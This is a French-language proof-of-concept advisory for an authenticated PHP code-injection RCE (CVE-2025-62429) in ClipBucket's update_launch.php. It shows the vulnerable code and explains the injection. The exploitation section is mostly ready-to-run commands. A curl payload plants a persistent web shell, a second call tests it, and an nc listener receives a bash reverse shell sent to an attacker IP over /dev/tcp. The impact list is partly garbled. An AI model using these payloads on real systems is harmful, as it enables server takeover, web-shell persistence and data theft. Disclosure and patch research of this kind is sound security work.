
CVE-2025-62429 | clipbucket RCE
Preuve de concept pour RCE via injection de code PHP dans update_launch.php
Divulgation : Signalé à l'origine par moi via GHSA-3h9c-7j8r-xc3v
⚠️ Utilisation autorisée uniquement pour pentesting/recherche autorisée.
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2025-62429 |
| Sévérité | 🔴 Élevée |
| Score CVSS | 7.2 |
| Vecteur CVSS | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-78: Injection de commandes OS, CWE-94: Injection de code |
| Produit affecté | ClibBucket <= 5.5.3 - #79 |
| Version corrigée | 5.5.3 - #80 |
| Avis | GHSA-3h9c-7j8r-xc3v |
Une vulnérabilité d'Exécution de code à distance (RCE) authentifiée existe dans ClipBucket v5.5.3-61. La vulnérabilité est classée comme CWE-94 : Contrôle inapproprié de la génération de code ('Injection de code'). L'application ne parvient pas à nettoyer correctement les entrées contrôlées par l'utilisateur utilisées pour générer du code PHP exécutable dans update_launch.php. Un administrateur authentifié peut l'exploiter pour obtenir une exécution complète de commandes sur le serveur sous-jacent, en escaladant les privilèges d'un administrateur web à l'utilisateur système (par exemple, containeruser).
La vulnérabilité se trouve dans upload/admin_area/actions/update_launch.php. Ce script facilite les mises à jour système en générant dynamiquement un script PHP temporaire en arrière-plan.
Extrait de code vulnérable : upload/admin_area/actions/update_launch.php (Lignes 40-86)
// User input from $_POST['type'] is directly concatenated into a PHP string.
$data = '<?php
if (php_sapi_name() != \'cli\') { die; }
...
$type = \'' . $_POST['type'] . '\'; // <--- VULNERABILITY: Direct concatenation
...
?>';
fwrite($tmp_file, $data);
fclose($tmp_file);
// The generated file is executed via shell_exec using the PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);
Mécanisme d'exploitation :
Étant donné que le paramètre type est concaténé dans la chaîne $data sans échappement ni nettoyage, un attaquant peut utiliser un guillemet simple (') pour sortir du contexte littéral de la chaîne. Il peut alors injecter des fonctions PHP arbitraires (telles que system() ou file_put_contents()) et commenter le reste du code original en utilisant //. Cela entraîne l'exécution du code fourni par l'attaquant avec les privilèges du processus PHP-CLI.
PHPSESSID valide.
Nous démontrons d'abord la vulnérabilité en déployant un shell web persistant dans la racine du document.
curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //"
curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# Expected Response: uid=1000(containeruser) gid=1000(containeruser) ...
Après avoir confirmé la RCE, un shell interactif est établi pour la post-exploitation.
nc -lvnp 4444
curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"
La machine de l'attaquant reçoit une connexion, accordant un accès shell interactif complet en tant que containeruser.
Une exploitation réussie permet à un attaquant d'exécuter des commandes système arbitraires. Cela entraîne :
config.inc.php) et l'intégralité de la base de données.Ce problème est lié à la vulnérabilité précédemment divulguée :
Après une analyse plus approfondie, il a été constaté que la vulnérabilité persistait dans ClipBucket v5.5.3 en raison d'un correctif incomplet.
Alors que l'avis original traitait une partie du problème, le vecteur d'injection de code PHP via le paramètre type dans update_launch.php restait exploitable.
Cet avis fournit des détails techniques supplémentaires, une vérification sur la dernière version et un scénario d'exploitation complet de bout en bout.